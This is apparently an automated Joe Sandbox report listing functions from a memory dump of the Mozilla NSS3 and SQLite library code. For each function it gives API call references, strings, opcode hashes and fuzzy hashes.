Strings

database corruption, xrefs: 6CB0F48D
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB0F483
%s at line %d of [%.10s], xrefs: 6CB0F492

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: 35f78f70347b6230be87a8e9e82555504eee7b00df4b49c00cfb2f22caa8ba6c
Instruction ID: ce8a54dcbeafeddd5a24110d4e4ad20c0513ddc8dcce0bb53e8d6f9b56fe6c7a
Opcode Fuzzy Hash: 35f78f70347b6230be87a8e9e82555504eee7b00df4b49c00cfb2f22caa8ba6c
Instruction Fuzzy Hash: C262BE70B042858FEB14CF65C480B9EBFB2FF49318F184199D8456BB92D735E886CB96

Function 6CBAFC80 Relevance: 19.8, APIs: 13, Instructions: 311COMMON

Download Yara Rule

APIs

PK11_HPKE_NewContext.NSS3(?,?,?,00000000,00000000), ref: 6CBAFD06

Part of subcall function 6CBAF670: PORT_ZAlloc_Util.NSS3(00000038), ref: 6CBAF696
Part of subcall function 6CBAF670: PK11_FreeSymKey.NSS3(?,?,?), ref: 6CBAF789
Part of subcall function 6CBAF670: SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?), ref: 6CBAF796
Part of subcall function 6CBAF670: free.MOZGLUE(00000000,?,?,?,?,?), ref: 6CBAF79F
Part of subcall function 6CBAF670: SECITEM_DupItem_Util.NSS3 ref: 6CBAF7F0

Part of subcall function 6CBD3440: PK11_GetAllTokens.NSS3 ref: 6CBD3481
Part of subcall function 6CBD3440: PR_SetError.NSS3(00000000,00000000), ref: 6CBD34A3
Part of subcall function 6CBD3440: TlsGetValue.KERNEL32 ref: 6CBD352E
Part of subcall function 6CBD3440: EnterCriticalSection.KERNEL32(?), ref: 6CBD3542
Part of subcall function 6CBD3440: PR_Unlock.NSS3(?), ref: 6CBD355B

SECITEM_DupItem_Util.NSS3(?), ref: 6CBAFDAD

Part of subcall function 6CBDFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CB89003,?), ref: 6CBDFD91
Part of subcall function 6CBDFD80: PORT_Alloc_Util.NSS3(A4686CBE,?), ref: 6CBDFDA2
Part of subcall function 6CBDFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CBE,?,?), ref: 6CBDFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CBAFE00

Part of subcall function 6CBDFD80: free.MOZGLUE(00000000,?,?), ref: 6CBDFDD1

Part of subcall function 6CBCE550: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBCE5A0

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBAFEBB
PK11_FreeSymKey.NSS3(00000000), ref: 6CBAFEC8
PK11_HPKE_DestroyContext.NSS3(00000000,00000001), ref: 6CBAFED3
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CBAFF0C
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CBAFF23
PK11_ImportSymKey.NSS3(?,?,00000004,82000105,?,00000000), ref: 6CBAFF4D
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CBAFFDA
PK11_ImportSymKey.NSS3(?,0000402A,00000004,0000010C,?,00000000), ref: 6CBB0007
PK11_CreateContextBySymKey.NSS3(?,82000105,?,?), ref: 6CBB0029
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CBB0044

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: K11_$ErrorUtil$Item_$Alloc_Context$FreeImportfree$CreateCriticalDestroyEnterSectionTokensUnlockValueZfreememcpy
String ID:
API String ID: 138705723-0
Opcode ID: 8697334565394d3d0754db199348f17814347c7f6915a5f8bc35ea6a5bba44a0
Instruction ID: 3948a23b8724e0872e74a34812bf0a0def4362449e735aae66407207e8418bc8
Opcode Fuzzy Hash: 8697334565394d3d0754db199348f17814347c7f6915a5f8bc35ea6a5bba44a0
Instruction Fuzzy Hash: 17B1E6B1608341AFE704CF69C840A7BB7E5FF88308F55861DE99987A41E731E945CB92

Function 6CBA7D60 Relevance: 18.3, APIs: 12, Instructions: 299COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?), ref: 6CBA7DDC

Part of subcall function 6CBE07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CB88298,?,?,?,6CB7FCE5,?), ref: 6CBE07BF
Part of subcall function 6CBE07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CBE07E6
Part of subcall function 6CBE07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CBE081B
Part of subcall function 6CBE07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CBE0825

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CBA7DF3
PK11_PBEKeyGen.NSS3(?,00000000,00000000,00000000,?), ref: 6CBA7F07
PK11_GetPadMechanism.NSS3(00000000), ref: 6CBA7F57
PK11_UnwrapPrivKey.NSS3(?,00000000,00000000,?,0000001C,00000000,?,?,?,00000000,00000130,00000004,?), ref: 6CBA7F98
PK11_FreeSymKey.NSS3(?), ref: 6CBA7FC9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CBA7FDE
PK11_PBEKeyGen.NSS3(?,?,00000000,00000001,?), ref: 6CBA8000

Part of subcall function 6CBC9430: SECOID_GetAlgorithmTag_Util.NSS3(00000000,?,?,00000000,00000000,?,6CBA7F0C,?,00000000,00000000,00000000,?), ref: 6CBC943B
Part of subcall function 6CBC9430: SECOID_FindOIDByTag_Util.NSS3(00000000,?,?), ref: 6CBC946B
Part of subcall function 6CBC9430: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6CBC9546

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CBA8110
PK11_FreeSymKey.NSS3(00000000), ref: 6CBA811D
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6CBA822D
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CBA823C

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: K11_Util$FindItem_Tag_Zfree$ErrorFreeHashLookupPublicTable$AlgorithmConstDestroyImportMechanismPrivUnwrap
String ID:
API String ID: 1923011919-0
Opcode ID: 2c75d096f623040a7113d7f92271e8cc3900da805180e89db906b04d90a2e1f3
Instruction ID: d16d82a8e32a754148f66511fead001506bcfb762fec7b37caa86483a6464fb9
Opcode Fuzzy Hash: 2c75d096f623040a7113d7f92271e8cc3900da805180e89db906b04d90a2e1f3
Instruction Fuzzy Hash: 91C17FB1D442999BEB21CF54CC40BEEB7B8EB05308F0481E5E849B6A41E7719E86CF91

Function 6CBB0EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6CBB0F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CBB0FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6CBB1006
PK11_FreeSymKey.NSS3(?), ref: 6CBB101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CBB1033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CBB103F
PK11_FreeSymKey.NSS3(00000000), ref: 6CBB1048
memcpy.VCRUNTIME140(?,?,?), ref: 6CBB108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CBB10BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6CBB10D6
memcpy.VCRUNTIME140(?,?,?), ref: 6CBB112E

Part of subcall function 6CBB1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6CBB08C4,?,?), ref: 6CBB15B8
Part of subcall function 6CBB1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6CBB08C4,?,?), ref: 6CBB15C1
Part of subcall function 6CBB1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBB162E
Part of subcall function 6CBB1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBB1637

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: 942dea145f414cbc174d8e432170ebf9a50645be9036f3942b0e572dfdd3caf9
Instruction ID: ef895d550424474d01a39df2945494c8509ce2f88c911414b0ae51c9701ccd61
Opcode Fuzzy Hash: 942dea145f414cbc174d8e432170ebf9a50645be9036f3942b0e572dfdd3caf9
Instruction Fuzzy Hash: B071D2B1E002858FDB00CFA5DD94A7AB7B8FF48318F18862CE509A7711EB31D954CB92

Function 6CBD1CE0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000020), ref: 6CBD1F19
memcpy.VCRUNTIME140(?,?,00000020), ref: 6CBD2166
memcpy.VCRUNTIME140(?,?,00000010), ref: 6CBD228F
memcpy.VCRUNTIME140(?,?,00000010), ref: 6CBD23B8
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CBD241C

Strings

token, xrefs: 6CBD1F2C
manufacturer, xrefs: 6CBD2179
serial, xrefs: 6CBD22A2
model, xrefs: 6CBD23CB, 6CBD23EC

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: memcpy$Error
String ID: manufacturer$model$serial$token
API String ID: 3204416626-1906384322
Opcode ID: 72fade7c0cb35721ae6b13db03e38f349708a2625bc4405ce15707d03d0fa2d7
Instruction ID: 196101f72af987f113d88d1c2c7480caa2c2eee80e69a75b54584398e83f35f3
Opcode Fuzzy Hash: 72fade7c0cb35721ae6b13db03e38f349708a2625bc4405ce15707d03d0fa2d7
Instruction Fuzzy Hash: C9020162D0CBC96EFB318671C44C3D76EE0DB46328F0E566ED5DE46683C3A869898353

Function 6CBD6C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CB81C6F,00000000,00000004,?,?), ref: 6CBD6C3F

Part of subcall function 6CC2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC2C2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6CB81C6F,00000000,00000004,?,?), ref: 6CBD6C60
PR_ExplodeTime.NSS3(00000000,6CB81C6F,?,?,?,?,?,00000000,00000000,00000000,?,6CB81C6F,00000000,00000004,?,?), ref: 6CBD6C94

Strings

gfff, xrefs: 6CBD6CF5
gfff, xrefs: 6CBD6CFD
gfff, xrefs: 6CBD6D30
gfff, xrefs: 6CBD6D9C
gfff, xrefs: 6CBD6D66

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: db38d16f60db13fb57c85dfa9b0c848da65d5fe7018c9e9ea83b1ee5ef8fb035
Instruction ID: 7ddc49c3fba24916509954dc87e7fa09979ed25965a046c714a824c0add1f68b
Opcode Fuzzy Hash: db38d16f60db13fb57c85dfa9b0c848da65d5fe7018c9e9ea83b1ee5ef8fb035
Instruction Fuzzy Hash: 88513B72B015494FC71CCDADDC526DEBBDAABA4310F48C23AE442DB785D638E906C751

Function 6CC50F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6CC51027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CC510B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC51353

Strings

NULL, xrefs: 6CC5119E
%02x, xrefs: 6CC512F6
'%.*q', xrefs: 6CC51217, 6CC51292
%lld, xrefs: 6CC5114B
$, xrefs: 6CC512A0
-- , xrefs: 6CC50FF5
zeroblob(%d), xrefs: 6CC51223

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: f5d96aa1cbe1390633124b51840e9dbe91d4f41c69d2d1db2a3083637670aa06
Instruction ID: 6e9ed343977d8dfaf6cc7921ce9332adb3368c45a025340a9816580fecd1fade
Opcode Fuzzy Hash: f5d96aa1cbe1390633124b51840e9dbe91d4f41c69d2d1db2a3083637670aa06
Instruction Fuzzy Hash: 41E1CE71A083809FD714CF19C884A6BBBF1BF85358F84896CE88587B51E771E869CB46

Function 6CC58FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CC58FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC590DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC59118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC5915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC591C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CC59209

Strings

UUUU, xrefs: 6CC59255
3333, xrefs: 6CC5925E

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: 79ed6928083ad4dfc548ab94296b382b166502c4ba9f47650dee0a9746327d3b
Instruction ID: 82d9349bf4a69f2445caa11197161b28bfba2611ad3083a8d237d13753e2d463
Opcode Fuzzy Hash: 79ed6928083ad4dfc548ab94296b382b166502c4ba9f47650dee0a9746327d3b
Instruction Fuzzy Hash: 53A1A0B2E001159BDB04CB69CC90B9EB7B5BF8C324F494179E905A7341E736EC22CB90

Function 6CB10FE0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6CB0CA30: EnterCriticalSection.KERNEL32(?,?,?,6CB6F9C9,?,6CB6F4DA,6CB6F9C9,?,?,6CB3369A), ref: 6CB0CA7A
Part of subcall function 6CB0CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CB0CB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6CB1103E
EnterCriticalSection.KERNEL32(?), ref: 6CB11139
LeaveCriticalSection.KERNEL32(?), ref: 6CB11190
sqlite3_free.NSS3(00000000), ref: 6CB11227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6CB1126E
sqlite3_free.NSS3(?), ref: 6CB1127F

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 6CB11267
winAccess, xrefs: 6CB1129B

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1873940834
Opcode ID: bdf4c3023878fc74604784fc0451d623915b1c74fe9f6510c56a15c6b3c34417
Instruction ID: 1f9c29b07a6c8cd9455f37583d845afa40a8607b1d783327b542fcc334a39aa5
Opcode Fuzzy Hash: bdf4c3023878fc74604784fc0451d623915b1c74fe9f6510c56a15c6b3c34417
Instruction Fuzzy Hash: 9E711731B492819FEB04DF65DC85A6EB376EB9B324F18062DE91187E80DB30E951C793

Function 6CB1AEC0 Relevance: 13.7, APIs: 9, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6CC3CF46,?,6CB0CDBD,?,6CC3BF31,?,?,?,?,?,?,?), ref: 6CB1B039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CC3CF46,?,6CB0CDBD,?,6CC3BF31), ref: 6CB1B090
sqlite3_free.NSS3(?,?,?,?,?,?,6CC3CF46,?,6CB0CDBD,?,6CC3BF31), ref: 6CB1B0A2
CloseHandle.KERNEL32(?,?,6CC3CF46,?,6CB0CDBD,?,6CC3BF31,?,?,?,?,?,?,?,?,?), ref: 6CB1B100
sqlite3_free.NSS3(?,?,00000002,?,6CC3CF46,?,6CB0CDBD,?,6CC3BF31,?,?,?,?,?,?,?), ref: 6CB1B115
sqlite3_free.NSS3(?,?,?,?,?,?,6CC3CF46,?,6CB0CDBD,?,6CC3BF31), ref: 6CB1B12D

Part of subcall function 6CB09EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6CB1C6FD,?,?,?,?,6CB6F965,00000000), ref: 6CB09F0E
Part of subcall function 6CB09EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CB6F965,00000000), ref: 6CB09F5D

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID:
API String ID: 3155957115-0
Opcode ID: 9cafaadc78c06ed4038ac40a2c0c5443c6eeb536c62f26082dd5e0a676859197
Instruction ID: 20676d0d39dd156e085a8bbc231ef157ca1ee5f63a2ca2df352f861854a11b1b
Opcode Fuzzy Hash: 9cafaadc78c06ed4038ac40a2c0c5443c6eeb536c62f26082dd5e0a676859197
Instruction Fuzzy Hash: 6E91AEB1A082458FDB04DF65C884A6AB7B2FF45304F154A2DE416D7F50EB30F999CB52

Function 6CBEBD30 Relevance: 13.6, APIs: 9, Instructions: 102COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6CBEBD48
NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6CBEBD68
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6CBEBD83
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6CBEBD9E
NSS_GetAlgorithmPolicy.NSS3(0000000A,?), ref: 6CBEBDB9
NSS_GetAlgorithmPolicy.NSS3(00000007,?), ref: 6CBEBDD0
NSS_GetAlgorithmPolicy.NSS3(000000B8,?), ref: 6CBEBDEA
NSS_GetAlgorithmPolicy.NSS3(000000BA,?), ref: 6CBEBE04
NSS_GetAlgorithmPolicy.NSS3(000000BC,?), ref: 6CBEBE1E

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: AlgorithmPolicy
String ID:
API String ID: 2721248240-0
Opcode ID: 79ce93aef0f5737f5d37a27d3d6b11333b98a7c87c64ff180bd6a2e2da68d5dc
Instruction ID: 4fc91cbf77b4b209421badcccd156381d5a1cb3618aa6d067bcce018bb599b4d
Opcode Fuzzy Hash: 79ce93aef0f5737f5d37a27d3d6b11333b98a7c87c64ff180bd6a2e2da68d5dc
Instruction Fuzzy Hash: C221557BE043D997FB004A96BC42B8F7274DB99FCEF080514E916EE641E7109414C6AB

Function 6CC98D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CCE14E4,6CC4CC70), ref: 6CC98D47
PR_GetCurrentThread.NSS3 ref: 6CC98D98

Part of subcall function 6CB70F00: PR_GetPageSize.NSS3(6CB70936,FFFFE8AE,?,6CB016B7,00000000,?,6CB70936,00000000,?,6CB0204A), ref: 6CB70F1B
Part of subcall function 6CB70F00: PR_NewLogModule.NSS3(clock,6CB70936,FFFFE8AE,?,6CB016B7,00000000,?,6CB70936,00000000,?,6CB0204A), ref: 6CB70F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6CC98E7B
htons.WSOCK32(?), ref: 6CC98EDB
PR_GetCurrentThread.NSS3 ref: 6CC98F99
PR_GetCurrentThread.NSS3 ref: 6CC9910A

Strings

%u.%u.%u.%u, xrefs: 6CC98E74

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

